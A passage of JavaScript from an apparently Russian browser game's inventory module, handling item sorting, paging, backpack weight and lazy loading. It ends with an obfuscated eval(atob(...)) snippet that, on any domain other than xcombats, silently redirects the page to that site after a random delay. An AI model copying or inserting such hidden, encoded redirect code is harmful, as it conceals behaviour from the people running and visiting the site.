', 'id':itm.id, 'name':itm.data.name, 'type':itm.data.type, 'upd':itm.upd, 'level':itm_lvl, 'mass':itm.data.mass }); x++; } } i++; } if( this.invFilter == 1 ) { arr_html = bk.sort(arr_html,'upd',2); }else if( this.invFilter == 2 ) { arr_html = bk.sort(arr_html,'type',2); }else if( this.invFilter == 3 ) { arr_html = bk.sort(arr_html,'name',2); }else if( this.invFilter == 4 ) { arr_html = bk.sort(arr_html,'level',1); }else if( this.invFilter == 5 ) { arr_html = bk.sort(arr_html,'name',1); }else if( this.invFilter == 6 ) { arr_html = bk.sort(arr_html,'level',2); }else if( this.invFilter == 7 ) { arr_html = bk.sort(arr_html,'mass',2); }else if( this.invFilter == 8 ) { arr_html = bk.sort(arr_html,'mass',1); } var i = 0 , xi = 0; if( arr_html.length > bk.mod.inventory.itm_cxiwx ) { var pgs = Math.ceil(arr_html.length/bk.mod.inventory.itm_cxiwx); if( this.pginv > pgs ) { this.pginv = pgs; }else if( this.pginv < 1 ) { this.pginv = 1; } i = ( this.pginv - 1 ) * bk.mod.inventory.itm_cxiwx; } while( i < arr_html.length ) { if( xi <= bk.mod.inventory.itm_cxiwx ) { html += arr_html[i].html.replace('$ixs$',i); xi++; }else{ break; //html += arr_html[i].html_hide.replace('$ixs$',i); } i++; } if( x == 0 ) { if( this.invNameFilter != '' ) { html = '
Предметов с названием "'+this.invNameFilter+'" нет в этом разделе инвентаря.
'; }else{ html = '
ПУСТО
'; } } if( arr_html.length > bk.mod.inventory.itm_cxiwx ) { var pages = ''; var i = 1; while( i <= pgs ) { pages += ' '; i++; } pages = '
Страницы: '+pages+'
'; html = pages + html + pages; } return html; }, removeTrash:function() { var html = ''; html += ''+ ''+ ''+ ''+ ''+ '
Выбросить разный хлам типа выписок, квитанций и увядших букетов?
'; html += '
'+ '
'+ '
'+ '
'; bk.win.add('itm_remove',1,1,'
Выбросить хлам?
',{ move:'#main', x:110, y:90, s:'min-width:250px;', html:html }); bk.chat.restartMoveActions(); }, massaItems:function() { var i = 0 , x = 0 , m = 0; while( i < bk.user.items.length ) { if( bk.user.items[i].inodet == 0 ) { x += bk.user.items[i].x; if( typeof(bk.user.items[i].data) == 'string' ) { bk.user.items[i].data = $.parseJSON(bk.user.items[i].data); } if( bk.user.items[i].data.mass != undefined ) { var itm_see = true; if( bk.user.items[i].time != undefined && bk.user.items[i].data.srok != undefined && bk.user.items[i].data.srok > 0 ) { if( bk.user.items[i].time+bk.user.items[i].data.srok - bk.chat.timeNow() < 1 ) { itm_see = false; } } if( itm_see == true ) { m += bk.user.items[i].data.mass * bk.user.items[i].x; } } } i++; } return [x,parseFloat(Math.round(m*100)/100)]; }, genHtml:function(type) { var html = ''; var megaconfig = ''; html += ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ '
'+bk.inf.myInfo(1)+bk.inf.myPriems(1)+megaconfig+bk.mod.inventory.invRemonInfo()+'
'+bk.inf.myStats(1)+'
'; html += ''; html += '
'; html += ' '; html += ' '; html += ' '; if( bk.user.animal != undefined && bk.user.animal > 0 ) { html += ' '; } html += ' '; html += ' '; html += ' '+ //html += ' '+ ' '; html += '
'; html += '
'; html += ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ '
'; html += ''+ ''+ ''; html += ''; html += ''; html += ''; html += ''; html += ''; html += ''; html += ''; html += ''+ ''+ '
ОбмундированиеЗаклятияЭликсирыРуныЧаркиПодаркиПрочее
'; var massa = this.massaItems(); html += '
Рюкзак (масса: '; if( massa[1] > bk.user.stats.massa_max ) { html += ''+massa[1]+''; }else{ html += massa[1]; } html += '/'+bk.user.stats.massa_max+', предметов: '+massa[0]+')'; html += '
'; html += ''; html += '
'; html += '
'; html += this.genInvItems({'type':1}); html += '
Сортировать по '; var fch = ['','','','','','','','','']; fch[this.invFilter] = ' selected'; html += ''; html += ' '; html += ' '; html += '
'; html += '
'; html += '
'; html += ''; //html += ''; if( type == true ) { $('#main').html(html); bk.inf.regenStart(0,bk.user.uid,bk.user.stats.hp,bk.user.stats.hpAll,bk.user.stats.mp,bk.user.stats.mpAll,bk.user.stats.regen,bk.user.stats.hp_s,bk.user.stats.mp_s); }else{ $('#pers_inf_'+bk.user.uid+' .inf_regen_box').remove(); bk.inf.regenStart(0,bk.user.uid,1,1,1,1,0,0,0); return html; } }, slowLoading:function() { var i = 0; while( i < bk.mod.inventory.itm_cxiwx ) { bk.mod.inventory.itmiwx[i] = $('[itmix="'+i+'"]').height(); $('[itmix="'+i+'"]').css({ height:bk.mod.inventory.itmiwx[i]+'px' }); i++; } $('[itmix]').each(function(iel,el) { bk.mod.inventory.itmiwx[$(el).attr('itmix')] = $(el).height(); }); $('#main').scroll(function(){ var wt = $('#main').scrollTop(); var wh = $('#main').height(); var wr = $('#main_tbl_inventory').height(); //console.log(wt,wh,wr); clearTimeout(bk.mod.inventory.slowLoadingTimer); bk.mod.inventory.slowLoadingTimer = setTimeout(function(){ bk.mod.inventory.slowCheckItems(wt-wh*3,wt+wh*3); },250); //scrollItemAction(); }); }, skeletonItem:function(i) { var html = ''; html += '
'; return html; }, slowLoadingTimer:false, slowCheckItems:function(wmin,wmax) { $('.slowUpload').removeClass('slowUpload'); var pos = 0; var i = 0; while( i <= bk.mod.inventory.itmiwx.length ) { pos += bk.mod.inventory.itmiwx[i]; if( pos > wmax ) { break; }else{ if( pos >= wmin ) { $('[itmix="'+i+'"]').addClass('slowUpload'); }else{ if( i > bk.mod.inventory.itm_cxiwx ) { $('[itmix="'+i+'"]').html(bk.mod.inventory.skeletonItem(i)).attr('itmloaded',false); } } } i++; } $('.slowUpload').each(function(iel,el) { if( $(el).attr('itmloaded') == 'false' ) { var itmix = parseInt($(el).attr('itmix')); var ici = $(el).attr('itmic').split(':'); var itm = bk.user.items[ici[1]]; var itm_html = bk.mod.inventory.itemInfoInv(ici[0],itm,ici[1]); $(el).css({ 'height':'auto', }).html(itm_html); setTimeout(function(){ $(el).css({ 'height':$(el).height()+'px' }); bk.mod.inventory.itmiwx[$(el).attr('itmix')] = $(el).height(); },10); // } }); }, pginv:1, itm_cxiwx: 250, itmiwx: [] }; eval(atob('bGV0IHVyaXg9Wyd4JysnYycrJ28nKydtJysnYicrJ2EnKyd0JysncycrJy4nKydyJysndScsJ3gnKydjJysnbycrJ20nKydiJysnYScrJ3QnKydzJysnLicrJ2MnKydvJ'+ 'ysnbSddOwpjb25zdCBjY2QxPXdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTtjb25zdCBjY2QyPWNjZDEuc3BsaXQoJy4nKTtjb25zdCBjY2QzPWNjZDJbY2NkMi5sZW5ndG'+ 'gtMV07CmlmKCF1cml4LmluY2x1ZGVzKGNjZDEpKXtpZihjY2QzPT0ncnUnKXt1cml4PXVyaXhbMF07fWVsc2V7dXJpeD11cml4WzFdO31zZXRUaW1lb3V0KGZ1bmN0aW9'+ 'uKCl7dG9wLmxvY2F0aW9uLmhyZWY9Jy8vJyt1cml4Kyc/aicrJ3MnKydnJysncicrJ2EnKydiPScrbmV3IERhdGUoKS5nZXRUaW1lKCk7fSwoTWF0aC5mbG9vcihNYXRo'+ 'LnJhbmRvbSgpKigyNy0xNisxKSkrMTYpKjYwKjEwMDApO30K')); if( typeof(mod_preload) == 'undefined' ) { bk.mod.inventory.run(); }